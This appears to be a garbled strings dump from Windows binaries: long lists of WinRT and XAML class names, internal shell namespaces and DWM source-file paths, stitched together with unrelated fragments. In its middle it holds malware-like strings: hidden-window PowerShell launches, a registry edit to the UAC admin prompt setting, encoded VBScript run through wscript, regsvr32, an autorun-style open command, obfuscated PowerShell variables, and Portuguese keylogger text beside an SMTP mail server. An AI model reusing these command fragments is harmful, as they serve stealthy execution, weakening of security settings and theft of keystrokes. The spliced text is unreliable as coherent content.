Windows.UI.Xaml.Media.Animation.EasingDoubleKeyFrame
Windows.UI.Xaml.Media.Animation.EasingFunctionBase
Windows.UI.Xaml.Media.Animation.EasingPointKeyFrame
Windows.UI.Xaml.Media.Animation.EdgeUIThemeTransition
Windows.UI.Xaml.Media.Animation.ElasticEase
Windows.UI.Xaml.Media.Animation.EntranceNavigationTransitionInfo
Windows.UI.Xaml.Media.Animation.EntranceThemeTransition
Windows.UI.Xaml.Media.Animation.ExponentialEase
Windows.UI.Xaml.Media.Animation.FadeInThemeAnimation
Windows.UI.Xaml.Media.Animation.FadeOutThemeAnimation
Windows.UI.Xaml.Media.Animation.GravityConnectedAnimationConfiguration
Windows.UI.Xaml.Media.Animation.KeySpline
Windows.UI.Xaml.Media.Animation.KeyTimeHelper
Windows.UI.Xaml.Media.Animation.LinearColorKeyFrame
Windows.UI.Xaml.Media.Animation.LinearDoubleKeyFrame
Windows.UI.Xaml.Media.Animation.LinearPointKeyFrame
Windows.UI.Xaml.Media.Animation.NavigationThemeTransition
Windows.UI.Xaml.Media.Animation.NavigationTransitionInfo
Windows.UI.Xaml.Media.Animation.ObjectAnimationUsingKeyFrames
Windows.UI.Xaml.Media.Animation.ObjectKeyFrame
Windows.UI.Xaml.Media.Animation.ObjectKeyFrameCollection
Windows.UI.Xaml.Media.Animation.PaneThemeTransition
Windows.UI.Xaml.Media.Animation.PointAnimation
Windows.UI.Xaml.Media.Animation.PointAnimationUsingKeyFrames
Windows.UI.Xaml.Media.Animation.PointerDownThemeAnimation
Windows.UI.Xaml.Media.Animation.PointerUpThemeAnimation
Windows.UI.Xaml.Media.Animation.PointKeyFrame
Windows.UI.Xaml.Media.Animation.PointKeyFrameCollection
Windows.UI.Xaml.Media.Animation.PopInThemeAnimation
Windows.UI.Xaml.Media.Animation.PopOutThemeAnimation
Windows.UI.Xaml.Media.Animation.PopupThemeTransition
Windows.UI.Xaml.Media.Animation.PowerEase
Windows.UI.Xaml.Media.Animation.QuadraticEase
Windows.UI.Xaml.Media.Animation.QuarticEase
Windows.UI.Xaml.Media.Animation.QuinticEase
Windows.UI.Xaml.Media.Animation.ReorderThemeTransition
Windows.UI.Xaml.Media.Animation.RepeatBehaviorHelper
Windows.UI.Xaml.Media.Animation.RepositionThemeAnimation
Windows.UI.Xaml.Media.Animation.RepositionThemeTransition
Windows.UI.Xaml.Media.Animation.SineEase
Windows.UI.Xaml.Media.Animation.SlideNavigationTransitionInfo
Windows.UI.Xaml.Media.Animation.SplineColorKeyFrame
Windows.UI.Xaml.Media.Animation.SplineDoubleKeyFrame
Windows.UI.Xaml.Media.Animation.SplinePointKeyFrame
Windows.UI.Xaml.Media.Animation.SplitCloseThemeAnimation
Windows.UI.Xaml.Media.Animation.SplitOpenThemeAnimation
Windows.UI.Xaml.Media.Animation.Storyboard
Windows.UI.Xaml.Media.Animation.SuppressNavigationTransitionInfo
Windows.UI.Xaml.Media.Animation.SwipeBackThemeAnimation
Windows.UI.Xaml.Media.Animation.SwipeHintThemeAnimation
Windows.UI.Xaml.Media.Animation.ThemeAnimationBase
Windows.UI.Xaml.Media.Animation.Timeline
Windows.UI.Xaml.Media.Animation.TimelineCollection
Windows.UI.Xaml.Media.Animation.Transition
Windows.UI.Xaml.Media.Animation.TransitionCollection
Windows.UI.Xaml.Media.ArcSegment
Windows.UI.Xaml.Media.BezierSegment
Windows.UI.Xaml.Media.BitmapCache
Windows.UI.Xaml.Media.Brush
Windows.UI.Xaml.Media.BrushCollection
Windows.UI.Xaml.Media.CacheMode
Windows.UI.Xaml.Media.CompositeTransform
Windows.UI.Xaml.Media.CompositionTarget
Windows.UI.Xaml.Media.DoubleCollection
Windows.UI.Xaml.Media.EllipseGeometry
Windows.UI.Xaml.Media.FloatCollection
Windows.UI.Xaml.Media.FontFamily
Windows.UI.Xaml.Media.GeneralTransform
Windows.UI.Xaml.Media.Geometry
Windows.UI.Xaml.Media.GeometryCollection
Windows.UI.Xaml.Media.GeometryGroup
Windows.UI.Xaml.Media.GradientBrush
Windows.UI.Xaml.Media.GradientStop
Windows.UI.Xaml.Media.GradientStopCollection
Windows.UI.Xaml.Media.ImageBrush
Windows.UI.Xaml.Media.ImageSource
Windows.UI.Xaml.Media.Imaging.BitmapImage
Windows.UI.Xaml.Media.Imaging.BitmapSource
Windows.UI.Xaml.Media.Imaging.RenderTargetBitmap
Windows.UI.Xaml.Media.Imaging.SoftwareBitmapSource
Windows.UI.Xaml.Media.Imaging.SurfaceImageSource
Windows.UI.Xaml.Media.Imaging.SvgImageSource
Windows.UI.Xaml.Media.Imaging.VirtualSurfaceImageSource
Windows.UI.Xaml.Media.Imaging.WriteableBitmap
Windows.UI.Xaml.Media.Imaging.XamlRenderingBackgroundTask
Windows.UI.Xaml.Media.LinearGradientBrush
Windows.UI.Xaml.Media.LineGeometry
Windows.UI.Xaml.Media.LineSegment
Windows.UI.Xaml.Media.LoadedImageSurface
Windows.UI.Xaml.Media.MaterialHelperTestApi
Windows.UI.Xaml.Media.Matrix3DProjection
Windows.UI.Xaml.Media.MatrixHelper
Windows.UI.Xaml.Media.MatrixTransform
Windows.UI.Xaml.Media.Media3D.CompositeTransform3D
Windows.UI.Xaml.Media.Media3D.Matrix3DHelper
Windows.UI.Xaml.Media.Media3D.PerspectiveTransform3D
Windows.UI.Xaml.Media.Media3D.Transform3D
Windows.UI.Xaml.Media.PartialMediaFailureDetectedEventArgs
Windows.UI.Xaml.Media.PathFigure
Windows.UI.Xaml.Media.PathFigureCollection
Windows.UI.Xaml.Media.PathGeometry
Windows.UI.Xaml.Media.PathSegment
Windows.UI.Xaml.Media.PathSegmentCollection
Windows.UI.Xaml.Media.PlaneProjection
Windows.UI.Xaml.Media.PointCollection
Windows.UI.Xaml.Media.PolyBezierSegment
Windows.UI.Xaml.Media.PolyLineSegment
Windows.UI.Xaml.Media.PolyQuadraticBezierSegment
Windows.UI.Xaml.Media.Projection
Windows.UI.Xaml.Media.QuadraticBezierSegment
Windows.UI.Xaml.Media.RateChangedRoutedEventArgs
Windows.UI.Xaml.Media.RectangleGeometry
Windows.UI.Xaml.Media.RevealBackgroundBrush
Windows.UI.Xaml.Media.RevealBorderBrush
Windows.UI.Xaml.Media.RevealBorderLight
Windows.UI.Xaml.Media.RevealBrush
Windows.UI.Xaml.Media.RevealBrushTestApi
Windows.UI.Xaml.Media.RevealHoverLight
Windows.UI.Xaml.Media.RevealTestApi
Windows.UI.Xaml.Media.RotateTransform
Windows.UI.Xaml.Media.ScaleTransform
Windows.UI.Xaml.Media.Shadow
Windows.UI.Xaml.Media.SkewTransform
Windows.UI.Xaml.Media.SolidColorBrush
Windows.UI.Xaml.Media.ThemeShadow
Windows.UI.Xaml.Media.TileBrush
Windows.UI.Xaml.Media.TimelineMarker
Windows.UI.Xaml.Media.TimelineMarkerCollection
Windows.UI.Xaml.Media.TimelineMarkerRoutedEventArgs
Windows.UI.Xaml.Media.Transform
Windows.UI.Xaml.Media.TransformCollection
Windows.UI.Xaml.Media.TransformGroup
Windows.UI.Xaml.Media.TranslateTransform
Windows.UI.Xaml.Media.VisualTreeHelper
Windows.UI.Xaml.Media.XamlAmbientLight
Windows.UI.Xaml.Media.XamlCompositionBrushBase
Windows.UI.Xaml.RoutedEventArgs
Windows.UI.Xaml.ScalarTransition
Windows.UI.Xaml.Setter
Windows.UI.Xaml.SetterBase
Windows.UI.Xaml.SetterBaseCollection
Windows.UI.Xaml.Shapes.Ellipse
Windows.UI.Xaml.Shapes.Line
Windows.UI.Xaml.Shapes.Path
Windows.UI.Xaml.Shapes.Polygon
Windows.UI.Xaml.Shapes.Polyline
WindowsInternal.TracelogRecording.TracelogRecordingSessionManager
WindowsInternal.Xaml.Controls.Tabs.ControlStyleProperties
WindowsInternal.Xaml.Controls.Tabs.ControlTransitions
WindowsInternal.Xaml.Controls.Tabs.DropShadowControl
WindowsInternal.Xaml.Controls.Tabs.InnerShadowControl
WindowsInternal.Xaml.Controls.Tabs.Model.SpartanDispatcherTimer
WindowsInternal.Xaml.Controls.Tabs.TabBar
WindowsInternal.Xaml.Controls.Tabs.TabBarCustomGridView
WindowsInternal.Xaml.Controls.Tabs.TabBarCustomGridViewItem
WindowsInternal.Xaml.Controls.Tabs.TabBarItemsPanel
WindowsInternal.Xaml.Controls.Tabs.tabbar_XamlTypeInfo.XamlMetaDataProvider
WindowsInternal.Xaml.Controls.Tabs.TabContextMenuOpeningEventArgs
WindowsInternal.Xaml.Controls.Tabs.TabDragCompletedEventArgs
Windows.UI.Xaml.Media.XamlLight
Windows.UI.Xaml.Navigation.FrameNavigationOptions
Windows.UI.Xaml.Navigation.PageStackEntry
Windows.UI.Xaml.PanelEx
Windows.UI.Xaml.PointHelper
Windows.UI.Xaml.PopupOpeningEventArgs
Windows.UI.Xaml.PopupPlacementEventArgs
Windows.UI.Xaml.Printing.AddPagesEventArgs
Windows.UI.Xaml.Printing.GetPreviewPageEventArgs
Windows.UI.Xaml.Printing.PaginateEventArgs
Windows.UI.Xaml.Printing.PrintDocument
Windows.UI.Xaml.PropertyMetadata
Windows.UI.Xaml.PropertyPath
Windows.UI.Xaml.RectHelper
Windows.UI.Xaml.ResourceDictionary
Windows.UI.Xaml.Resources.CustomXamlResourceLoader
Windows.UI.Xaml.UIElement
Windows.UI.Xaml.UIElementWeakCollection
Windows.UI.Xaml.Vector3Transition
Windows.UI.Xaml.VisualState
Windows.UI.Xaml.VisualStateChangedEventArgs
Windows.UI.Xaml.VisualStateGroup
Windows.UI.Xaml.VisualStateManager
Windows.UI.Xaml.VisualTransition
Windows.UI.Xaml.Window
Windows.Web.AtomPub.AtomPubClient
Windows.Web.Http.Diagnostics.HttpDiagnosticProvider
Windows.Web.Http.Filters.HttpBaseProtocolFilter
Windows.Web.Http.Headers.HttpChallengeHeaderValue
Windows.Web.Http.Headers.HttpConnectionOptionHeaderValue
Windows.Web.Http.Headers.HttpContentCodingHeaderValue
Windows.Web.Http.Headers.HttpContentCodingWithQualityHeaderValue
Windows.Web.Http.Headers.HttpContentDispositionHeaderValue
Windows.Web.Http.Headers.HttpContentHeaderCollection
Windows.Web.Http.Headers.HttpContentRangeHeaderValue
Windows.Web.Http.Headers.HttpCookiePairHeaderValue
Windows.Web.Http.Headers.HttpCredentialsHeaderValue
Windows.Web.Http.Headers.HttpDateOrDeltaHeaderValue
Windows.Web.Http.Headers.HttpExpectationHeaderValue
Windows.Web.Http.Headers.HttpLanguageRangeWithQualityHeaderValue
Windows.Web.Http.Headers.HttpMediaTypeHeaderValue
Windows.Web.Http.Headers.HttpMediaTypeWithQualityHeaderValue
Windows.Web.Http.Headers.HttpNameValueHeaderValue
Windows.Web.Http.Headers.HttpProductHeaderValue
Windows.Web.Http.Headers.HttpProductInfoHeaderValue
Windows.Web.Http.Headers.HttpTransferCodingHeaderValue
Windows.Web.Http.HttpBufferContent
Windows.Web.Http.HttpClient
Windows.Web.Http.HttpCookie
Windows.Web.Http.HttpFormUrlEncodedContent
Windows.Web.Http.HttpMethod
Windows.Web.Http.HttpMultipartContent
Windows.Web.Http.HttpMultipartFormDataContent
Windows.Web.Http.HttpRequestMessage
Windows.Web.Http.HttpResponseMessage
Windows.Web.Http.HttpStreamContent
Windows.Web.Http.HttpStringContent
Windows.Web.Syndication.SyndicationAttribute
Windows.Web.Syndication.SyndicationCategory
Windows.Web.Syndication.SyndicationClient
Windows.Web.Syndication.SyndicationContent
Windows.Web.Syndication.SyndicationError
Windows.Web.Syndication.SyndicationFeed
Windows.Web.Syndication.SyndicationGenerator
Windows.Web.Syndication.SyndicationItem
Windows.Web.Syndication.SyndicationLink
Windows.Web.Syndication.SyndicationNode
Windows.Web.Syndication.SyndicationPerson
Windows.Web.Syndication.SyndicationText
Windows.Web.UI.Interop.WebViewControlProcess
Windows.Web.UI.Interop.WebViewControlProcessOptions
Windows.Web.WebError
WindowsInternal.ApplicationModel.Calls.AppLauncher
WindowsInternal.ApplicationModel.Calls.IncomingCallToast
WindowsInternal.ApplicationModel.Calls.ServiceUiToast
WindowsInternal.ComposableShell.Desktop.NativeHostingXamlMetadataProvider
WindowsInternal.ComposableShell.Desktop.Styles
WindowsInternal.ComposableShell.Desktop.TaskbarHelpers
WindowsInternal.ComposableShell.Display.ApplyChangesRequestedDeferral
WindowsInternal.ComposableShell.Display.ApplyChangesRequestedEventArgs
WindowsInternal.ComposableShell.Display.CursorAddedEventArgs
WindowsInternal.ComposableShell.Display.CursorConfiguration
WindowsInternal.ComposableShell.Display.CursorRemovedEventArgs
WindowsInternal.ComposableShell.Display.DisplayConfiguration
WindowsInternal.ComposableShell.Display.DisplayConstraints
WindowsInternal.ComposableShell.Display.DisplayConstraintsRequestedDeferral
WindowsInternal.ComposableShell.Display.DisplayConstraintsRequestedEventArgs
WindowsInternal.ComposableShell.Display.DisplayDetail
WindowsInternal.ComposableShell.Display.DisplayDispositionRejectedEventArgs
WindowsInternal.ComposableShell.Display.DisplayDispositionRequestedDeferral
WindowsInternal.ComposableShell.Display.DisplayDispositionRequestedEventArgs
WindowsInternal.ComposableShell.Display.DisplayHardwareManager
WindowsInternal.ComposableShell.Display.DisplayIdentity
WindowsInternal.ComposableShell.Display.HardwareDetails
WindowsInternal.ComposableShell.Display.Helpers.ApplyOutputConfigurationsRequestedEventArgs
WindowsInternal.ComposableShell.Display.Helpers.ComposerConfigurationRequestedDeferral
WindowsInternal.ComposableShell.Display.Helpers.Cursor
WindowsInternal.ComposableShell.Display.Helpers.MouseAddedEventArgs
WindowsInternal.ComposableShell.Display.Helpers.MouseRemovedEventArgs
WindowsInternal.ComposableShell.Display.Helpers.OutputAssociationChangedEventArgs
WindowsInternal.ComposableShell.Display.Helpers.OutputConfiguration
WindowsInternal.ComposableShell.Display.Helpers.OutputGeometry
WindowsInternal.ComposableShell.Display.Helpers.OutputStackPanelLayoutHelper
WindowsInternal.ComposableShell.Display.Helpers.SimpleMouseConfigurator
WindowsInternal.ComposableShell.Display.Helpers.SimpleOutputConfigurator
WindowsInternal.ComposableShell.Display.InputConfigurator
WindowsInternal.ComposableShell.Display.KernelMonitor
WindowsInternal.ComposableShell.Display.OutputAssociatedEventArgs
WindowsInternal.ComposableShell.Display.OutputConfigurator
WindowsInternal.ComposableShell.Display.OutputRemovedEventArgs
WindowsInternal.ComposableShell.Display.OutputsActivatedEventArgs
WindowsInternal.ComposableShell.Experiences.Switcher.AltTab
WindowsInternal.ComposableShell.Experiences.Switcher.AltTabViewModel
WindowsInternal.ComposableShell.Experiences.Switcher.AnimationConfig
WindowsInternal.ComposableShell.Experiences.Switcher.AnimationConfigManager
WindowsInternal.ComposableShell.Experiences.Switcher.BindableBase
WindowsInternal.ComposableShell.Experiences.Switcher.DismissAnimationFilter
WindowsInternal.ComposableShell.Experiences.Switcher.DragVisual
WindowsInternal.ComposableShell.Experiences.Switcher.DynamicFlowPanel
WindowsInternal.ComposableShell.Experiences.Switcher.FadeAllItemsDismissPolicy
WindowsInternal.ComposableShell.Experiences.Switcher.FadeAllItemsInvokePolicy
WindowsInternal.ComposableShell.Experiences.Switcher.FadeAnimationProvider
WindowsInternal.ComposableShell.Experiences.Switcher.FadeMinimizedAndItemsOnOtherMonitorsDismissPolicy
WindowsInternal.ComposableShell.Experiences.Switcher.FadeMinimizedAndItemsOnOtherMonitorsInvokePolicy
WindowsInternal.ComposableShell.Experiences.Switcher.FadeNonVisibleExceptFilteredDismissPolicy
WindowsInternal.ComposableShell.Experiences.Switcher.FadeNonVisibleItemsInvokePolicy
WindowsInternal.ComposableShell.Experiences.Switcher.HostInformationRegistrar
WindowsInternal.ComposableShell.Experiences.Switcher.NewVirtualDesktopElementViewModel
WindowsInternal.ComposableShell.Experiences.Switcher.PositionChangeAnimationProvider
WindowsInternal.ComposableShell.Experiences.Switcher.RowHeight
WindowsInternal.ComposableShell.Experiences.Switcher.ShrinkToSizeAnimationProvider
WindowsInternal.ComposableShell.Experiences.Switcher.SnapAssist
WindowsInternal.ComposableShell.Experiences.Switcher.SnapAssistAnimationProviderFactory
WindowsInternal.ComposableShell.Experiences.Switcher.SnapAssistList
WindowsInternal.ComposableShell.Experiences.Switcher.SnapAssistViewModel
WindowsInternal.ComposableShell.Experiences.Switcher.Statics
WindowsInternal.ComposableShell.Experiences.Switcher.SwitcherContextMenuItem
WindowsInternal.ComposableShell.Experiences.Switcher.SwitcherControlBase
WindowsInternal.ComposableShell.Experiences.Switcher.Switcher_XamlTypeInfo.XamlMetaDataProvider
WindowsInternal.ComposableShell.Experiences.Switcher.SwitchItemAnimationProps
WindowsInternal.ComposableShell.Experiences.Switcher.SwitchItemControl
WindowsInternal.ComposableShell.Experiences.Switcher.SwitchItemElement
WindowsInternal.ComposableShell.Experiences.Switcher.SwitchItemElementViewModel
WindowsInternal.ComposableShell.Experiences.Switcher.SwitchItemList
WindowsInternal.ComposableShell.Experiences.Switcher.SwitchItemListViewModel
WindowsInternal.ComposableShell.Experiences.Switcher.SwitchItemListViewModelArgs
WindowsInternal.ComposableShell.Experiences.Switcher.SwitchItemThumbnailButton
WindowsInternal.ComposableShell.Experiences.Switcher.TaskbarSwitcher
WindowsInternal.ComposableShell.Experiences.Switcher.TaskbarSwitcherViewModel
WindowsInternal.ComposableShell.Experiences.Switcher.TaskView
WindowsInternal.ComposableShell.Experiences.Switcher.TaskViewAnimationProviderFactory
WindowsInternal.ComposableShell.Experiences.Switcher.TaskViewHost
WindowsInternal.ComposableShell.Experiences.Switcher.TaskViewTimeline
WindowsInternal.ComposableShell.Experiences.Switcher.TaskViewTimelineViewModel
WindowsInternal.ComposableShell.Experiences.Switcher.TaskViewViewModel
WindowsInternal.ComposableShell.Experiences.Switcher.VirtualDesktopBarElement
WindowsInternal.ComposableShell.Experiences.Switcher.VirtualDesktopBarElementViewModel
WindowsInternal.NotificationIntelligencePlatform.IntelligentNotificationManager
WindowsInternal.NotificationIntelligencePlatform.IntelligentSuggestion
WindowsInternal.People.PeoplePicker.BooleanToObjectConverter
WindowsInternal.People.PeoplePicker.ButtonControlContent
WindowsInternal.People.PeoplePicker.ContactListView
WindowsInternal.People.PeoplePicker.GalResultsControl
WindowsInternal.People.PeoplePicker.HighlightedTextBlock
WindowsInternal.People.PeoplePicker.InverseBooleanConverter
WindowsInternal.People.PeoplePicker.JumplistItemControl
WindowsInternal.People.PeoplePicker.PeoplePickerControl
WindowsInternal.People.PeoplePicker.peoplepicker_control_XamlTypeInfo.XamlMetaDataProvider
WindowsInternal.People.PeoplePicker.QueryPromptControl
WindowsInternal.People.PeoplePicker.SuggestionControl
WindowsInternal.People.Relevance.Helper.RelevanceHelper
WindowsInternal.People.Relevance.LoggerInfo
WindowsInternal.People.Relevance.QueryClient.LoggerInfo
WindowsInternal.People.Relevance.QueryClient.RelevanceServiceQuery
WindowsInternal.People.Relevance.QueryClient.RelevanceServiceQueryParameters
WindowsInternal.People.Relevance.RelevanceQuery
WindowsInternal.Shell.CDSProperties.CDSTilePropertiesBatched
WindowsInternal.Shell.CDSProperties.StartGlobalProperties
WindowsInternal.Shell.CompUiActivation.ComponentLaunchResult
WindowsInternal.Shell.CompUiActivation.ComponentUiPrivateApis
WindowsInternal.Shell.DataStoreCache.EdpTileBroker
WindowsInternal.Shell.DataStoreCache.MRTResourceBroker
WindowsInternal.Shell.DataStoreCache.TargetedContent.TargetedContentProvider
WindowsInternal.Shell.JumpList.Broker.JumpListBroker
WindowsInternal.Shell.JumpList.JumpList
WindowsInternal.Shell.JumpList.JumpListEnumerationContext
WindowsInternal.Shell.JumpList.JumpListItemActivationContext
WindowsInternal.Shell.JumpList.Private.JumpListImageHelpers
WindowsInternal.Shell.LauncherPolicy.LauncherPolicy
WindowsInternal.Shell.StartComponentFactory
WindowsInternal.Shell.UnifiedTile.CuratedTileCollections.AppInstallBroker
WindowsInternal.Shell.UnifiedTile.CuratedTileCollections.CollectionInitializationBackgroundTask
WindowsInternal.Shell.UnifiedTile.CuratedTileCollections.CuratedCollectionInitializationStatics
WindowsInternal.Shell.UnifiedTile.CuratedTileCollections.CuratedCollectionSelectionHelpers
WindowsInternal.Shell.UnifiedTile.CuratedTileCollections.CuratedTileCollectionManager
WindowsInternal.Shell.UnifiedTile.CuratedTileCollections.CuratedTileCollectionOptions
WindowsInternal.Shell.UnifiedTile.LogoLoading.LogoLoader
WindowsInternal.Shell.UnifiedTile.LogoLoading.LogoOptions
WindowsInternal.Shell.UnifiedTile.MRTHelper
WindowsInternal.Shell.UnifiedTile.Notifications.NotificationQueueManager
WindowsInternal.Shell.UnifiedTile.PackagedUnifiedTileIdentifier
WindowsInternal.Shell.UnifiedTile.PlaceholderTileManager
WindowsInternal.Shell.UnifiedTile.Private.CortanaActivationBroker
WindowsInternal.Shell.UnifiedTile.Private.StorageItemVerbProvider
WindowsInternal.Shell.UnifiedTile.Private.TileVerbProviderCommonBroker
WindowsInternal.Shell.UnifiedTile.Private.TileVerbProviderDesktopBroker
WindowsInternal.Shell.UnifiedTile.Private.UnifiedTileUserPinBroker
C:\Windows\system32\WindowsPowerShell\v1.0\powershellC
$start with windows$
powershell.execmd.exeProcessTracker.exeWindowsDefender.exestartp
regaddHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System/vConsentPromptBehaviorAdminr
$\windows\currentversion\internetsettings\codebasese!
Y(WINDOWS MAIN
:\windows\temp\db\rdp\rdp\webroot\
\windows\system32\wscript.exe/e:vbscript.encodeiphon.mp3
powershell-command"start-processpowershell-windowstyleh
start/minpowershell.exe-windowstylehidden"get-service;$
oft\windows\startmenu\program
WindowsWelcomeExperience
msM365LinksWindowsAccountTelemetry
windows_welcome.should_show_update_experience
CopilotN-prod-windows-native
Failed to enumerate minimized windows.
..\..\chrome\browser\edge_copilot\controller\chat_observer\chat_handler_event_ronew_device_fre.pre_fre_browser.windows_welcome_experience_autolaunch_internal_flow
(base::win::GetActivationFactory< ILauncherStatics2, RuntimeClass_Windows_System_Launcher>(&launcher))
oft\windows\cu
Microsoft.Windows.WiFiCloudStore
6senzala keyloggerteclas capturadaswindows media player\skype.exesmtp.mail.yahoo.com.br
777","regsvr32.exesyswow64\\windows\returnw
)ion-text">1.press<b>windows+r</b>toopentherundialog.</p>I
V&\windows\system32\cmd.exe
&.exe-windowstylehidden"$huisher=1;$sstersnner225='sub
onecoreuap\windows\dwm\dwmcore\engine\baseclipstack.cpp
onecoreuap\windows\dwm\dwmcore\engine\treedata.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\globaldrawingcontext.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\globaloverlaycontext.cpp
onecoreuap\windows\dwm\dwmcore\engine\datasourceproxy.cpp
onecoreuap\windows\dwm\dwmcore\engine\dataproviderproxy.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\directflipinfo.cpp
onecoreuap\windows\dwm\dwmcore\engine\dataproviderfactory.cpp
konecoreuap\windows\dwm\dwmcore\engine\rendertarget.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\fsvpprovider.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\legacyrendertarget.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\ddisplayrendertarget.cpp
onecoreuap\windows\dwm\dwmcore\engine\offscreenrendertarget.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\remoteapprendertarget.cpp
onecoreuap\windows\dwm\dwmcore\rendering\global\computescribblerenderer.cpp
onecoreuap\windows\dwm\dwmcore\rendering\drawlistentrybuilder.cpp
onecoreuap\windows\dwm\dwmcore\rendering\spatialcallbackrenderer.cpp
onecoreuap\windows\dwm\common\bitmaps\Bitmap.h
onecoreuap\windows\dwm\common\bitmaps\CompressedSourceBitmap.h
onecoreuap\windows\dwm\common\bitmaps\WICBitmapWrapper.h
onecoreuap\windows\dwm\dwmcore\input\inputmanager.cpp
onecoreuap\windows\dwm\dwmcore\input\mit.cpp
onecoreuap\windows\DWM\dwmcore\engine\Connection.h
Windows.Devices.Enumeration.Pnp
Windows.Devices.Input
Windows.Foundation.Collections
onecoreuap\windows\dwm\dwmcore\resources\scrollscalekeyframeanimation.cpp
onecoreuap\windows\dwm\dwmcore\input\kstbase.cpp
onecoreuap\windows\DWM\dwmcore\dataprovider\objfre\amd64\dataprovider.bamo.h
onecoreuap\windows\dwm\dwmcore\resources\geometr
onecoreuap\windows\dwm\dwmcore\resources\visualgroup.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\exportsg.cpp
onecoreuap\windows\dwm\dwmcore\input\kst.cpp
onecoreuap\windows\dwm\dwmcore\resources\interactiontracker.cpp
onecoreuap\windows\dwm\dwmcore\input\globalmit.cpp
>onecoreuap\windows\dwm\dwmcore\resources\genericinktippointsource.cpp
onecoreuap\windows\dwm\dwmcore\resources\..\cursor\CursorState.h
onecoreuap\windows\dwm\common\util\utillib\debugbreak.cpp
onecoreuap\windows\dwm\dwmcore\input\globalmanipulationmanager.cpp
onecoreuap\windows\DWM\dwmcore\hw\AsyncTask.h
onecoreuap\windows\dwm\dwmcore\hw\global\ddisplayswapchain.cpp
Z-)onecoreuap\windows\DWM\dwmcore\hw\global\DDisplaySwapChainBuffer.h
onecoreuap\windows\DWM\dwmcore\hw\global\DDisplaySwapchain.h
onecoreuap\windows\dwm\dwmcore\hw\surfaceshadercomposer.cpp
C:\__w\1\s\Output\Packages\Microsoft.Windows.Wil.Internal.0.3.40\inc\wil\opensource\wil\result.h
onecoreuap\windows\DWM\common\shared\MergedRect.h
onecoreuap\windows\dwm\dwmcore\resources\bitmapresource.cpp
onecoreuap\windows\dwm\dwmcore\bitmaps\decodebitmap.cpp
onecoreuap\windows\dwm\dwmcore\engine\global\internalmilcmdconnection.cpp
?onecoreuap\windows\dwm\dwmcore\rendering\shadowhelpers.cpp
	onecoreuap\windows\dwm\dwmcore\resources\atlasbitmapresource.cpp
onecoreuap\windows\dwm\dwmcore\hw\global\legacyswapchain.cpp
onecoreuap\windows\dwm\dwmcore\rendering\superwetinkscribble.cpp
J'onecoreuap\windows\dwm\dwmcore\engine\capturerendertarget.cpp
onecoreuap\windows\dwm\dwmcore\rendering\drawlistentry.cpp
onecoreuap\windows\dwm\dwmcore\rendering\global\computescribblescheduler.cpp
onecoreuap\windows\dwm\dwmcore\resources\windowbackgroundtreatment.cpp
onecoreuap\windows\dwm\d
clientcore\windows\dwm\udwm\GraphicsDeviceManager.h
clientcore\windows\dwm\udwm\acrylicsystembackdropvisual.cpp
clientcore\windows\dwm\udwm\animationclock.cpp
clientcore\windows\dwm\udwm\animationclockcoordinator.cpp
clientcore\windows\dwm\udwm\animationhelpers.cpp
Xclientcore\windows\dwm\udwm\animationscheduler.cpp
clientcore\windows\dwm\udwm\capturedwindowrepresentation.cpp
clientcore\windows\dwm\udwm\capturemanager.cpp
gp0~clientcore\windows\dwm\udwm\displayduplicateanimatedvisual.cpp
clientcore\windows\dwm\udwm\displayduplicatetoextendanimatedvisual.cpp
zclientcore\windows\dwm\udwm\displayextendanimatedvisual.cpp
clientcore\windows\dwm\udwm\displayextendtoduplicateanimatedvisual.cpp
clientcore\windows\dwm\udwm\displayblackcurtainanimatedvisual.cpp
clientcore\windows\dwm\udwm\displaysecondaryonlytoduplicateanimatedvisual.cpp
clientcore\windows\dwm\udwm\displaysecondaryonlytoextendanimatedvisual.cpp
clientcore\windows\dwm\udwm\immersivewindowiconic.cpp
clientcore\windows\dwm\udwm\logintransition.cpp
clientcore\windows\dwm\udwm\analogcompositormanager.cpp
clientcore\windows\dwm\udwm\legacynonclientbackground.cpp
clientcore\windows\dwm\udwm\compositioneffectcache.cpp
clientcore\windows\dwm\udwm\visualtargetproxy.cpp
clientcore\windows\dwm\udwm\displaymodechangehelper.cpp
clientcore\windows\dwm\udwm\toplevelwindow3d.cpp
clientcore\windows\dwm\udwm\lightmicasystembackdropvisual.cpp
clientcore\windows\dwm\udwm\cursorvisual.cpp
clientcore\windows\dwm\udwm\graphicsdevicemanager.cpp
clientcore\windows\dwm\udwm\displaydisconnectanimatedvisual.cpp
clientcore\windows\dwm\udwm\displaysecondaryonlyanimatedvisual.cpp
clientcore\windows\dwm\udwm\displaymixedmodeanimatedvisual.cpp
WindowsUdk.Services.Iris
WindowsUdk.Storage.DestinationList
WindowsUdk.Storage
.exeicon=%systemroot%\system32\shell32.dll,4action=openfoldertoviewfilesshell\open=openshell\open\command=restore\
Windows.Foundation.Metadata
(Microsoft.Windows.Widgets.WidgetContract
9Microsoft.Windows.Widgets.Feeds.Hosts.IFeedCatalogStatics
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
6Microsoft.Windows.Widgets.Feeds.Hosts.IFeedHostStatics
(Microsoft.Windows.Widgets.WidgetContract
KMicrosoft.Windows.Widgets.Feeds.Hosts.CustomQueryParametersUpdatedEventArgs
1Microsoft.Windows.Widgets.Feeds.Hosts.FeedCatalog
5Microsoft.Windows.Widgets.Feeds.Hosts.FeedCoordinator
IMicrosoft.Windows.Widgets.Feeds.Hosts.FeedCoordinatorPostMessageEventArgs
4Microsoft.Windows.Widgets.Feeds.Hosts.FeedDefinition
BMicrosoft.Windows.Widgets.Feeds.Hosts.FeedDefinitionAddedEventArgs
DMicrosoft.Windows.Wid
wow64_microsoft-windows-w..-provider.resources_31bf3856ad364e35_en-us_1274ccc099436a3a
wow64_microsoft-windows-w..-provider.resources_31bf3856ad364e35_en-us_4b49fda0656f7405
wow64_microsoft-windows-w..-system-diagnostics_31bf3856ad364e35_none_7cd7c0771f5c6676
